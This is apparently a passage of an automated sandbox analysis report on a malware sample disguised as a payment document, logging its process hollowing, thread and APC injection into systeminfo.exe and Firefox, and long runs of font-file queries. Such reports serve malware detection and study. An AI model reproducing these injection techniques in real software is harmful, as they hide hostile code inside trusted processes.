Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Memory written: C:\Users\user\Desktop\Payment&WarantyBonds.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: NULL target: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: NULL target: C:\Windows\SysWOW64\systeminfo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: NULL target: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: NULL target: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\systeminfo.exe

Thread register set: target process: 5856

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\systeminfo.exe

Thread APC queued: target process: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process created: C:\Users\user\Desktop\Payment&WarantyBonds.exe "C:\Users\user\Desktop\Payment&WarantyBonds.exe"	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe "C:\Windows\SysWOW64\systeminfo.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: oDnyHukDVUZk.exe, 00000006.00000002.4148140785.0000000000EC1000.00000002.00000001.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000006.00000000.1987635269.0000000000EC0000.00000002.00000001.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000000.2136830520.0000000000C30000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: oDnyHukDVUZk.exe, 00000006.00000002.4148140785.0000000000EC1000.00000002.00000001.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000006.00000000.1987635269.0000000000EC0000.00000002.00000001.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000000.2136830520.0000000000C30000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: oDnyHukDVUZk.exe, 00000006.00000002.4148140785.0000000000EC1000.00000002.00000001.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000006.00000000.1987635269.0000000000EC0000.00000002.00000001.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000000.2136830520.0000000000C30000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: oDnyHukDVUZk.exe, 00000006.00000002.4148140785.0000000000EC1000.00000002.00000001.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000006.00000000.1987635269.0000000000EC0000.00000002.00000001.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000000.2136830520.0000000000C30000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Users\user\Desktop\Payment&WarantyBonds.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
